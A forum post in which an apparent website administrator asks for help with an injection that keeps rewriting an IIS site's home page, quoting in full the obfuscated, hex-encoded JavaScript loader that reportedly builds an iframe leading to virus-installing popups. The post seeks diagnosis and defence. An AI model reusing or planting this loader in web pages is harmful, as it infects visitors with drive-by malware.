New Type Of Injection? Rewrite Default Document?

This is weird, I'm pretty familiar with SQL Injection - but we're getting these weird injection that is writing in the default document or home page. What it's doing is putting in script code at the top or bottom of the home page... it looks something like this:

<script>function xy1q4877d47d91a36(q4877d47d92209){ function q4877d47d929d5
() {return 16;} return (parseInt(q4877d47d92209,q4877d47d929d5()));}funct ion
q4877d47d93974(q4877d47d94144){ var q4877d47d95c9b=2; var
q4877d47d94d7f='';q4877d47d96c3a=String.fromCharCo de;for(q4877d47d954cc=0;q4877d47d954cc<q4877d47d94144.length;q4877d47d954cc+=q4877d47d95c 9b){
q4877d47d94d7f+=(q4877d47d96c3a(xy1q4877d47d91a36( q4877d47d94144.substr(q4877d47d954cc,q4877d47d95c9 b))));}return
q4877d47d94d7f;} var
q4877d47d9740a='3C7363726970743E696628216D79696129 7B646F63756D656E742E777269746528756E65736361706528 20272533632536392536362537322536312536642536352532 30253733253732253633253364253237253638253734253734 25373025336125326625326625373425373225373525363525 37322536392536652536372537342536662536652536352537 33253265253665253635253734253266253733253635253631 25373225363325363825326525363325363725363925336625 36322536312536312536372536392537322536632625323725 32622534642536312537342536382532652537322536662537 35253665253634253238253464253631253734253638253265 25373225363125366525363425366625366425323825323925 32612533352533352533352533362533372532392532622532 37253634253335253332253338253237253230253737253639 25363425373425363825336425333125333825333125323025 36382536352536392536372536382537342533642533332533 30253337253230253733253734253739253663253635253364 25323725363425363925373325373025366325363125373925 33612532302536652536662536652536352532372533652533 63253266253639253636253732253631253664253635253365 2729293B7D766172206D7969613D747275653B3C2F73637269
70743E';document.write(q4877d47d93974(q4877d47d974 0a));</script>

What it's doing is decoding itself into an iframe that links out to popups that will try and download a virus on your machine. I don't get the popup in my machine because i think i have a newer version of IE. But some people have complained that it is installing a virus on their machine.

Also what is crazy is when I replace the file with a good version. In about 30 mins, it automatically overwritten with the infected version. Also I've noticed it on some other websites that I haven't touched.

Has anyone encountered this before? Because I'm stumped as to the cause of it. I don't see the issue on our dev server. It seems to be IIS on a shared host.